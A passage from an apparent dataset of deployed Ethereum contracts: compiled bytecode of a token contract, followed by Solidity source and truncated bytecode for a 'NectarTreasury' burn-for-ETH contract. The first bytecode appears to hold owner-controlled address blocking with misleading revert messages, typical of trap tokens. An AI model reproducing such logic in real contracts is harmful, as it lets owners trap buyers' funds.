fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e4251e1cf5e167e359ccc9d1549aead4e82d74199e32b7972cbfe642ccf47fc464736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,942 |
0xe851048c101abbdac26615c44dcec4c051864125 | pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface BurnableToken {
function burnAndRetrieve(uint256 _tokensToBurn) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function totalSupply() external view returns (uint256);
}
contract NectarTreasury is Ownable{
using SafeMath for uint256;
address necAddress;
constructor(address _token) public {
necAddress = _token;
}
receive() external payable { }
function necToken() public view returns (BurnableToken) {
return BurnableToken(necAddress);
}
function calculateEthPerNec(uint256 necAmount) public view returns (uint256) {
return treasurySize().mul(necAmount).div(necToken().totalSupply());
}
function treasurySize() public view returns (uint256) {
return address(this).balance;
}
function burnTokensAndClaimeShareOfTreasury(uint256 necAmount) external {
require(
necToken().transferFrom(msg.sender, address(this), necAmount),
"NEC transferFrom failed"
);
uint ethToSend = calculateEthPerNec(necAmount);
require(ethToSend > 0, "No ether to pay out");
necToken().burnAndRetrieve(necAmount);
msg.sender.transfer(ethToSend);
}
function transferTreasuryFundsToDAO(uint256 ethAmount) onlyOwner public {
payable(owner()).transfer(ethAmount);
}
} | 0x60806040526004361061007f5760003560e01c8063715018a61161004e578063715018a6146101395780638da5cb5b1461014e578063b046846c14610163578063f2fde38b1461018d57610086565b80631fba54951461008b57806321b3611e146100b25780633ca5f9e7146100e35780635ee0637c1461010f57610086565b3661008657005b600080fd5b34801561009757600080fd5b506100a06101c0565b60408051918252519081900360200190f35b3480156100be57600080fd5b506100c76101c4565b604080516001600160a01b039092168252519081900360200190f35b3480156100ef57600080fd5b5061010d6004803603602081101561010657600080fd5b50356101d3565b005b34801561011b57600080fd5b506100a06004803603602081101561013257600080fd5b5035610281565b34801561014557600080fd5b5061010d610310565b34801561015a57600080fd5b506100c76103c4565b34801561016f57600080fd5b5061010d6004803603602081101561018657600080fd5b50356103d3565b34801561019957600080fd5b5061010d600480360360208110156101b057600080fd5b50356001600160a01b03166105b3565b4790565b6001546001600160a01b031690565b6101db6106bd565b6000546001600160a01b0390811691161461023d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6102456103c4565b6001600160a01b03166108fc829081150290604051600060405180830381858888f1935050505015801561027d573d6000803e3d6000fd5b5050565b600061030a61028e6101c4565b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102c657600080fd5b505afa1580156102da573d6000803e3d6000fd5b505050506040513d60208110156102f057600080fd5b5051610304846102fe6101c0565b906106c1565b90610721565b92915050565b6103186106bd565b6000546001600160a01b0390811691161461037a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6103db6101c4565b604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b0392909216916323b872dd916064808201926020929091908290030181600087803b15801561043357600080fd5b505af1158015610447573d6000803e3d6000fd5b505050506040513d602081101561045d57600080fd5b50516104b0576040805162461bcd60e51b815260206004820152601760248201527f4e4543207472616e7366657246726f6d206661696c6564000000000000000000604482015290519081900360640190fd5b60006104bb82610281565b905060008111610508576040805162461bcd60e51b8152602060048201526013602482015272139bc8195d1a195c881d1bc81c185e481bdd5d606a1b604482015290519081900360640190fd5b6105106101c4565b6001600160a01b0316634f37edfd836040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b15801561055557600080fd5b505af1158015610569573d6000803e3d6000fd5b505050506040513d602081101561057f57600080fd5b5050604051339082156108fc029083906000818181858888f193505050501580156105ae573d6000803e3d6000fd5b505050565b6105bb6106bd565b6000546001600160a01b0390811691161461061d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166106625760405162461bcd60e51b81526004018080602001828103825260268152602001806108016026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6000826106d05750600061030a565b828202828482816106dd57fe5b041461071a5760405162461bcd60e51b81526004018080602001828103825260218152602001806108276021913960400191505060405180910390fd5b9392505050565b600061071a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836107ea5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156107af578181015183820152602001610797565b50505050905090810190601f1680156107dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816107f657fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c